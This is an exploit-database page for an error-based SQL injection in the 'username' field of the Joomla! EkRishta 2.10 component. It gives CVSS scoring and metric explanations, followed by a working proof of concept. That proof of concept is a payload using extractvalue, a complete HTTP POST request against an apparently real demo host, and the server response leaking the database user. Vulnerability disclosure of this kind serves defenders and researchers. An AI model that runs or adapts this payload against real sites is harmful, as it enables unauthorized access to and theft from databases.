Exploitalert - Database of Exploits

Joomla! Component EkRishta 2.10 username SQL Injection

CVE	Category	Price	Severity
	CWE-89	Not specified	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-06-12

CPE
cpe:cpe:/a:joomla:ekrishta:2.10

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H	0.04209	0.69421

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018060119

Joomla! Component EkRishta 2.10 username SQL Injection

# Exploit Title: Joomla! Component EkRishta 2.10 - 'username' SQL Injection # Date: 2018-06-11 # Exploit Author: L0RD # Software Link: https://extensions.joomla.org/extension/ek-rishta/ # Vendor Homepage: https://www.joomlaextensions.co.in/ # Version: 2.10 # Tested on: Win 10 # POC : SQLi : # Parameter : username # Type : Error based # Payload : 1' AND extractvalue(1,concat(0x3a,user(),0x3a))# # Test : http://joomlaextension.biz/ekrishta/index.php/login/sign-in # Request POST /ekrishta/index.php/login/sign-in HTTP/1.1 Host: joomlaextension.biz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://joomlaextension.biz/ekrishta/index.php/login/sign-in Content-Type: application/x-www-form-urlencoded Content-Length: 264 Cookie: 2b59fab16cbbad2fc73d64e5cc7a2950=k0fcnijgbnnk4i8f15bem38vp3; joomla_user_state=logged_in Connection: keep-alive Upgrade-Insecure-Requests: 1 username=1' AND extractvalue(1,concat(0x3a,user(),0x3a))#&passwd=test%27&Submit=Log+in+to+your+account&Itemid=117&option=com_ekrishta&view=alluser&task=check_login&lid=loginuser&return=L2VrcmlzaHRhL2luZGV4LnBocC9sb2dpbi9zaWduLWlu&bac2b97217cd995b069b5b0bc198de1c=1 # Response HTTP/1.1 500 XPATH syntax error: ':harmiste_rishtaa@localhost:' SQL=select * from #__users where username='1' AND extractvalue(1,concat(0x3a,user(),0x3a))#' Server: nginx Date: Mon, 11 Jun 2018 17:05:00 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Host-Header: 192fc2e7e50945beb8231a492d6a8024 Content-Length: 3181

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